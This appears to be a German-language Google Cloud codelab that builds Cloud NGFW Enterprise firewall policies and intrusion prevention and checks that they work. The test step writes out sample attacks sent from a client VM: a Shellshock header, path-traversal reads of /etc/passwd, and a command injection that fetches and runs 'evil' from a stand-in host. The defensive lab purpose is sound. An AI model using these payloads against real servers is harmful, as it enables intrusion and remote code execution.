1. Einführung
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.
Cloud NGFW bietet folgende Vorteile:
- Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
- Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Knoten in der Ressourcenhierarchie angehängt werden können. Diese Richtlinien sorgen für eine einheitliche Firewallfunktion in der gesamten Google Cloud-Ressourcenhierarchie.
- Detaillierte Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und von der Identitäts- und Zugriffsverwaltung (Identity and Access Management, IAM) verwalteten Tags ermöglicht eine präzise Steuerung von Nord-Süd- und Ost-West-Traffic bis auf eine einzige VM über VPC-Netzwerke und -Organisationen hinweg.
Cloud NGFW ist in den folgenden Stufen verfügbar:
- Cloud Firewall Essentials der nächsten Generation
- Cloud Next Generation Firewall Standard
- Cloud Firewall Enterprise der nächsten Generation
Cloud NGFW Enterprise
Cloud NGFW Enterprise fügt der verteilten Google Cloud Firewall-Struktur den Intrusion Prevention Service (IPS), eine Layer-7-Funktion, hinzu. Die TLS-Prüfung wird unterstützt, um TLS-verschlüsselten Traffic zu prüfen. Sie wird jedoch nicht in diesem Codelab behandelt (siehe Cloud NGFW Enterprise-Codelab mit TLS-Prüfung).
Sie können jetzt zuverlässige NGFW-Prüfungen (Layer 7 Next Generation Firewall) mit detaillierten Steuerungsmöglichkeiten bereitstellen, ohne Änderungen an der Netzwerkarchitektur oder den Routingkonfigurationen vornehmen zu müssen.
Führen Sie die folgenden Aufgaben aus, um die Layer-7-Firewallsteuerung mit IPS zu aktivieren und bereitzustellen:
- Eine Reihe von von Google Cloud verwalteten zonalen Firewall-Endpunkten erstellen.
- Optional: TLS-Prüfungsrichtlinie erstellen (nicht in diesem Codelab behandelt)
- Optional eine Konfiguration der Vertrauensstellung erstellen (wird in diesem Codelab nicht behandelt)
- Verknüpfen Sie diese Endpunkte mit den VPC-Netzwerken (Virtual Private Cloud), in denen Sie den Cloud NGFW Enterprise-Dienst benötigen.
- Nehmen Sie einfache Änderungen an Ihren bestehenden Firewallrichtlinien und Firewallregeln vor, um die Profile zum Schutz vor Bedrohungen für die verschiedenen Trafficpfade anzugeben.
Netzwerk-Firewallrichtlinien
Die Netzwerk-Firewallrichtlinie fungiert als Container für Firewallregeln. In einer Netzwerk-Firewallrichtlinie definierte Regeln werden erst dann erzwungen, wenn die Richtlinie einem VPC-Netzwerk zugeordnet ist. Jedem VPC-Netzwerk kann eine Netzwerk-Firewallrichtlinie zugeordnet sein. Netzwerk-Firewallrichtlinien unterstützen IAM-gesteuerte Tags (oder nur Tags) in Firewallregeln. Diese ersetzen aktuelle Netzwerk-Tags und können verwendet werden, um Arbeitslasten Identität zu erteilen.
Die gemeinsame Nutzung einer Netzwerk-Firewallrichtlinie für mehrere Netzwerke und die Einbindung von IAM-gesteuerten Tags vereinfacht die Konfiguration und Verwaltung von Firewalls erheblich.
Mit der Einführung der Netzwerk-Firewallrichtlinie bestehen die Firewallrichtlinien von Google Cloud nun aus den folgenden Komponenten:
- Hierarchische Firewallrichtlinie
- VPC-Firewallregeln
- Netzwerk-Firewallrichtlinie ( global und regional)
Hierarchische Firewallrichtlinien werden auf den Organisations- und Ordnerknoten innerhalb der Ressourcenhierarchie unterstützt, während VPC-Firewallregeln und Netzwerk-Firewallrichtlinien auf VPC-Ebene angewendet werden. Ein großer Unterschied zwischen VPC-Firewallregeln und Netzwerk-Firewallrichtlinien besteht darin, dass VPC-Firewallregeln nur auf ein einzelnes VPC-Netzwerk angewendet werden können, während Netzwerk-Firewallrichtlinien neben anderen Vorteilen wie Batch-Updates an eine einzelne VPC oder Gruppe von VPCs angehängt werden können.
Außerdem gibt es noch die impliziten Firewallregeln, die für jedes VPC-Netzwerk gelten:
- Regel für ausgehenden Traffic mit der Aktion „allow“, Ziel 0.0.0.0/0
- Eingangsregel mit der Aktion „ablehnen“, Quelle 0.0.0.0/0
Standardmäßig wird die Erzwingungssequenz im folgenden Diagramm dargestellt:
Die Erzwingungsreihenfolge zwischen den VPC-Firewallregeln und der globalen Netzwerk-Firewallrichtlinie kann geändert werden. Kunden können die Erzwingungsreihenfolge jederzeit mit einem gcloud-Befehl festlegen.
Von IAM verwaltete Tags
Die neuen in Netzwerk-Firewallrichtlinien-Regeln eingebundenen Tags sind Schlüssel/Wert-Paar-Ressourcen, die auf Organisations- oder Projektebene der Google Cloud-Ressourcenhierarchie definiert sind. Ein solches Tag enthält, wie der Name schon sagt, eine IAM-Zugriffssteuerung, die angibt, wer was für das Tag tun darf. In IAM-Berechtigungen kann beispielsweise angegeben werden, welche Hauptkonten Tags Werte zuweisen und welche Hauptkonten Tags an Ressourcen anhängen dürfen. Nachdem ein Tag auf eine Ressource angewendet wurde, können Netzwerk-Firewallregeln damit Traffic zulassen oder ablehnen.
Tags entsprechen dem Ressourcenmodell von Google Cloud für die Übernahme. Das bedeutet, dass Tags und ihre Werte innerhalb der Hierarchie von ihren übergeordneten Elementen übernommen werden. So können Tags an einem Ort erstellt und dann von anderen Ordnern und Projekten in der gesamten Ressourcenhierarchie verwendet werden. Weitere Informationen zu Tags und Zugriffsbeschränkungen
Tags dürfen nicht mit Netzwerk-Tags verwechselt werden. Letztere sind Strings, die Compute Engine-Instanzen hinzugefügt werden können. Sie sind mit der Instanz verknüpft und verschwinden, wenn die Instanz außer Betrieb genommen wird. VPC-Firewallregeln können Netzwerk-Tags enthalten. Da sie jedoch nicht als Cloud-Ressourcen gelten, unterliegen sie nicht der IAM-Zugriffssteuerung.
Beachten Sie, dass Tags und von IAM verwaltete Tags in diesem Dokument synonym verwendet werden.
Inhalt
Für dieses Codelab benötigen Sie ein einzelnes Projekt und die Fähigkeit, ein VPC-Netzwerk mit öffentlicher Verbindung zu erstellen. Es wird gezeigt, wie Cloud NGFW Enterprise IPS-Funktionen bereitstellen kann. Dazu müssen Sie Folgendes tun:
- Intra-VPC-/Subnetzflüsse prüfen [East-West]
- Eingehende Datenflüsse aus dem Internet prüfen [North-South]
Die zu prüfenden Abläufe werden mithilfe von Cloud Firewall-Abgleichparametern ausgewählt, einschließlich 5-Tupel (Quell-IP, Ziel-IP, Protokoll, Quellport, Zielport) und Tags. Die TLS-Prüfung ist in diesem Codelab nicht enthalten.
Die Regelbasis der Netzwerk-Firewallrichtlinie sieht in etwa so aus:
Priorität | Richtung | Target | Quelle | Ziel | Aktion | Typ |
100 | Ausgehender Traffic | Quarantine_Tag | Beliebig | Alle | Ablehnen | Essentials |
1000 | Eingehender Traffic | Server_Tag | Systemdiagnose-Bereiche | Beliebig | Zulassen | Essentials |
2000 | Eingehender Traffic | Beliebig | Identity-Aware Proxy-Bereiche | Beliebig | Zulassen | Essentials |
3000 | Eingehender Traffic | Beliebig | Geo, GCTI | Beliebig | Ablehnen | Standard |
4000 | Ausgehender Traffic | Beliebig | Beliebig | Geo, GCTI | Ablehnen | Standard |
5000 | Ausgehender Traffic | Beliebig | Beliebig | FQDNs für Systemupdates | Zulassen | Standard |
6000 | Eingehender Traffic | Server_Tag | 10.0.0.0/24 | Beliebig | IPS | Unternehmen |
7000 | Eingehender Traffic | Server_Tag | CloudNAT_IP | Beliebig | IPS | Unternehmen |
Aufgaben in diesem Lab
- Globale Netzwerk-Firewallrichtlinie erstellen
- Tags mit Netzwerk-Firewallrichtlinie erstellen und verwenden
- Cloud NGFW Enterprise Intrusion Prevention Service konfigurieren und verwenden
Voraussetzungen
- Google Cloud-Projekt
- Kenntnisse der Bereitstellung von Instanzen und der Konfiguration von Netzwerkkomponenten
- Kenntnisse über die Konfiguration von VPC-Firewalls
2. Hinweis
Variablen erstellen/aktualisieren
In diesem Codelab wird $variables verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu unterstützen.
Führen Sie in Cloud Shell die folgenden Befehle aus. Ersetzen Sie dabei die Informationen in Klammern nach Bedarf. Überspringen Sie die Festlegung des Projekts, wenn das gewünschte Projekt bereits festgelegt wurde. Für Ressourcen auf Organisationsebene wird eine andere Variable verwendet, wenn mehrere, z.B. Firewall-Endpunkte erforderlich sind.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. APIs aktivieren
Aktivieren Sie die APIs, falls noch nicht geschehen:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise-Sicherheitsprofil und Endpunkterstellung
Da das Erstellen des Cloud NGFW Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die Basiseinrichtung kann parallel erfolgen, während der Endpunkt erstellt wird.
Erstellen Sie das Sicherheitsprofil und die Sicherheitsprofilgruppe:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Erwartete Ausgabe:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Prüfen Sie, ob die Ressourcen erfolgreich erstellt wurden:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Erwartete Ausgabe:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Erstellen Sie den Cloud NGFW Enterprise-Endpunkt:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (Status: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Erwartete Ausgabe:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Die Endpunkterstellung dauert etwa 20 Minuten. Gehen Sie zum Abschnitt Grundlegende Einrichtung, um die erforderlichen Ressourcen parallel zu erstellen.
5. Grundkonfiguration
Fahren Sie mit den folgenden Abschnitten fort, wenn Sie die Basisressourcen lieber manuell erstellen möchten.
VPC-Netzwerk und Subnetz
VPC-Netzwerk und Subnetz
Erstellen Sie das VPC-Netzwerk und das Subnetz:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Erstellen Sie die Cloud Router und Cloud NAT-Gateways:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Vorfälle
Erstellen Sie die Client- und Webserverinstanzen:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
Tags auf P rojektebene
Weisen Sie dem Nutzer bei Bedarf die Berechtigungen „tagAdmin“ und/oder „tagUser“ zu:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Erstellen Sie den Tag-Schlüssel und die Tag-Werte auf Projektebene:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Binden Sie Tags an Instanzen:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Globale Netzwerk-Firewallrichtlinie
Erstellen Sie eine globale Netzwerk-Firewallrichtlinie:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Erstellen Sie „Cloud Firewall Essential-Regeln“, um Traffic von unter Quarantäne gestellten Instanzen (nur als Beispiel erstellt und nicht in diesem Codelab verwendet) abzulehnen und Traffic aus den Bereichen health-check und identity-aware proxy zuzulassen:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
Erstellen Sie Cloud Firewall-Standardregeln, um eingehenden und ausgehenden Traffic aus Ländern/zu Embargoländern, bekannten schädlichen IP-Adressen und ToR-Ausstiegsknoten zu verhindern. und nur ausgehenden Traffic an bestimmte FQDNs für Systemupdates zulassen (nur als Beispiel erstellt, wird in diesem Codelab nicht verwendet):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Erstellen Sie Cloud-Firewallregeln, um eingehenden Ost-West-/Intra-Subnetz- und Nord-Süd-/Internet-Traffic aus den bestimmten Bereichen zuzulassen. Diese Regeln werden aktualisiert, um Cloud NGFW Enterprise zu aktivieren:
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Verknüpfen Sie die Netzwerk-Firewallrichtlinie mit dem VPC-Netzwerk:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
Externer TCP/UDP-Network Load Balancer
Reservieren Sie eine externe IP-Adresse und erstellen Sie die Instanzgruppe und die Systemdiagnose:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
Erstellen Sie einen Back-End-Dienst und eine Weiterleitungsregel:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise-Endpunktverknüpfung
Definieren Sie die Umgebungsvariablen neu, falls erforderlich.
Prüfen Sie, ob der Cloud Firewall-Endpunkt erfolgreich erstellt wurde. Fahren Sie erst fort, wenn der Status ACTIVE angezeigt wird (während der Erstellung lautet der erwartete Status CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Erwartete Ausgabe:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Verknüpfen Sie den Cloud NGFW Enterprise-Endpunkt mit dem VPC-Netzwerk:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst fort, wenn der Status ACTIVE lautet (der erwartete Status lautet CREATING während der Erstellung):
gcloud network-security firewall-endpoint-associations list
Erwartete Ausgabe:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Erwartete Ausgabe:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Cloud NGFW Enterprise-Inspektionsregeln
Öffnen Sie einen neuen Tab und initiieren Sie über IAP eine SSH-Verbindung zur Client-VM. Sie müssen die Variablen im neuen Tab noch einmal definieren:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Definieren Sie die erforderlichen Variablen in der SSH-Sitzung und legen Sie die Variablen fest. Achten Sie darauf, dass die Werte korrekt sind:
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
curl für beide IP-Adressen, um sicherzustellen, dass sie erreichbar sind:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Erwartetes Ergebnis für beide curl-Anfragen:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Senden Sie Beispielangriffe an die interne Server-IP-Adresse (East-West-/VPC-interner Traffic). Der Webserver sollte auf alle Anfragen antworten und bestätigen, dass keine L7-Prüfung/-Prävention besteht:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Senden Sie die Beispielangriffe über Cloud NAT (eingehender North-South-Traffic) an die IP-Adresse des externen Servers noch einmal. Ebenso sollte der Webserver auf alle Anfragen antworten:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Erwartete Ergebnisse für öffentliche und private IP-Adressen:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Wechseln Sie zurück zu Cloud Shell und aktualisieren Sie die vorhandenen Regeln für eingehenden Traffic, um die L7-Prüfung zu aktivieren:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Optional können Sie die Firewallregeln beschreiben, um zu prüfen, ob beide aktualisiert wurden:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Erwartete Ausgabe:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Regel 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
Erwartete Ausgabe:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
Wechseln Sie zurück zur Client-VM und senden Sie die Beispielangriffe noch einmal an die interne Server-IP (East-West-/Intra-VPC-Prüfung):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Senden Sie die Beispielangriffe über Cloud NAT (eingehende Nord-Süd-Prüfung) noch einmal an die IP-Adresse des externen Servers:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Für die ersten Angriffe gehen keine Antworten ein (siehe erwartete Ausgabe unten), was bestätigt, dass die Angriffe mit hohem Schweregrad jetzt blockiert werden.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Gehen Sie zu „Netzwerksicherheit“ > Bedrohungen in der Cloud Console, um die Logs zu prüfen. Wenn die Angriffe noch nicht angezeigt werden, müssen Sie möglicherweise einige Male aktualisieren.
Wählen Sie einen der Angriffe aus und klicken Sie auf „Audit-Log ansehen“. auf der rechten Seite (öffnen Sie sie in einem neuen Tab, um schnell zurückzugehen). Maximieren Sie den Angriff, um die Details anzuzeigen:
Ersetzen Sie optional den Log-Explorer-Filter durch die folgende Abfrage:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Gefahrenlogeinträge sollten so betrachtet werden:
Abgefangene Pakete von Cloud Firewall können mit dem Log-Explorer-Filter unten überprüft werden (hilfreich zur Fehlerbehebung):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
Fahren Sie mit der Prüfung des Internettraffics (optional) fort oder schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Kapitel zur Bereinigung fort.
[Optional] Internet-Traffic-Prüfung
Wie im vorherigen Abschnitt bestätigt, handelt es sich bei den bisher untersuchten Datenflüssen um Intra-Subnetz-/VPC-Datenflüsse (Ost-West) und eingehenden Traffic aus dem Internet (Nord-Süd-eingehend). Cloud NGFW Enterprise kann auch so konfiguriert werden, dass der gesamte Internettraffic (ausgehend von Nord-Süd) geprüft wird. Dazu erstellen Sie eine neue Regel für ausgehenden Traffic mit Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
